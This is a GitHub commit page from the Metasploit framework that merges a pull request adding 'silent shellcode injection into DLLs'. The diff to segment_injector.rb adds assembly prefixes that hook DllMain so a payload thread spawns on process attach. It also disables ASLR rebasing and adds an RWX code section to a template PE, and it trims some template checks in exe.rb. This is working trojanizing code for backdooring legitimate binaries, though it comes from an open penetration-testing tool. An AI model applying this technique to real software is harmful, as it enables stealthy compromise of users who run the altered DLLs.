Skip to content

Commit 0c5d748

Browse files
dmaloney-r7dmaloney-r7
authored andcommitted
Merge pull request rapid7#1103 from scriptjunkie/dllinjectfix
Support silent shellcode injection into DLLs
2 parents c51e903 + f4636c4 commit 0c5d748

File tree

2 files changed

+28
-17
lines changed

2 files changed

+28
-17
lines changed

lib/msf/core/exe/segment_injector.rb

Lines changed: 28 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -31,14 +31,12 @@ def processor
3131

3232
def create_thread_stub
3333
<<-EOS
34-
hook_entrypoint:
3534
pushad
3635
push hook_libname
3736
call [iat_LoadLibraryA]
3837
push hook_funcname
3938
push eax
4039
call [iat_GetProcAddress]
41-
mov eax, [iat_CreateThread]
4240
lea edx, [thread_hook]
4341
push 0
4442
push 0
@@ -68,8 +66,9 @@ def payload_as_asm
6866
return asm
6967
end
7068

71-
def payload_stub
72-
asm = create_thread_stub
69+
def payload_stub(prefix)
70+
asm = "hook_entrypoint:\n#{prefix}\n"
71+
asm << create_thread_stub
7372
asm << payload_as_asm
7473
shellcode = Metasm::Shellcode.assemble(processor, asm)
7574
shellcode.encoded
@@ -85,14 +84,37 @@ def generate_pe
8584
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
8685
pe.header.time = pe_orig.header.time
8786

87+
# Don't rebase if we can help it since Metasm doesn't do relocations well
88+
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
89+
90+
prefix = ''
91+
if pe.header.characteristics.include? "DLL"
92+
# if there is no entry point, just return after we bail or spawn shellcode
93+
if pe.optheader.entrypoint == 0
94+
prefix = "cmp [esp + 8], 1
95+
jz spawncode
96+
entrypoint:
97+
xor eax, eax
98+
inc eax
99+
ret 0x0c
100+
spawncode:"
101+
else
102+
# there is an entry point, we'll need to go to it after we bail or spawn shellcode
103+
# if fdwReason != DLL_PROCESS_ATTACH, skip the shellcode, jump back to original DllMain
104+
prefix = "cmp [esp + 8], 1
105+
jnz entrypoint"
106+
end
107+
end
88108
# Generate a new code section set to RWX with our payload in it
89109
s = Metasm::PE::Section.new
90110
s.name = '.text'
91-
s.encoded = payload_stub
111+
s.encoded = payload_stub prefix
92112
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
93113

94114
# Tell our section where the original entrypoint was
95-
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
115+
if pe.optheader.entrypoint != 0
116+
s.encoded.fixup!('entrypoint' => pe.optheader.image_base + pe.optheader.entrypoint)
117+
end
96118
pe.sections << s
97119
pe.invalidate_header
98120

lib/msf/util/exe.rb

Lines changed: 0 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -169,21 +169,11 @@ def self.to_win32pe(framework, code, opts={})
169169
payload = win32_rwx_exec(code)
170170

171171
# Create a new PE object and run through sanity checks
172-
endjunk = true
173172
fsize = File.size(opts[:template])
174173
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
175174
text = nil
176-
sections_end = 0
177175
pe.sections.each do |sec|
178176
text = sec if sec.name == ".text"
179-
sections_end = sec.size + sec.file_offset if sec.file_offset >= sections_end
180-
endjunk = false if sec.contains_file_offset?(fsize-1)
181-
end
182-
#also check to see if there is a certificate
183-
cert_entry = pe.hdr.opt['DataDirectory'][4]
184-
#if the cert is the only thing past the sections, we can handle.
185-
if cert_entry.v['VirtualAddress'] + cert_entry.v['Size'] >= fsize and sections_end >= cert_entry.v['VirtualAddress']
186-
endjunk = false
187177
end
188178

189179
#try to inject code into executable by adding a section without affecting executable behavior
@@ -1774,4 +1764,3 @@ def self.is_eicar_corrupted?
17741764
end
17751765
end
17761766
end
1777-

0 commit comments

Comments
 (0)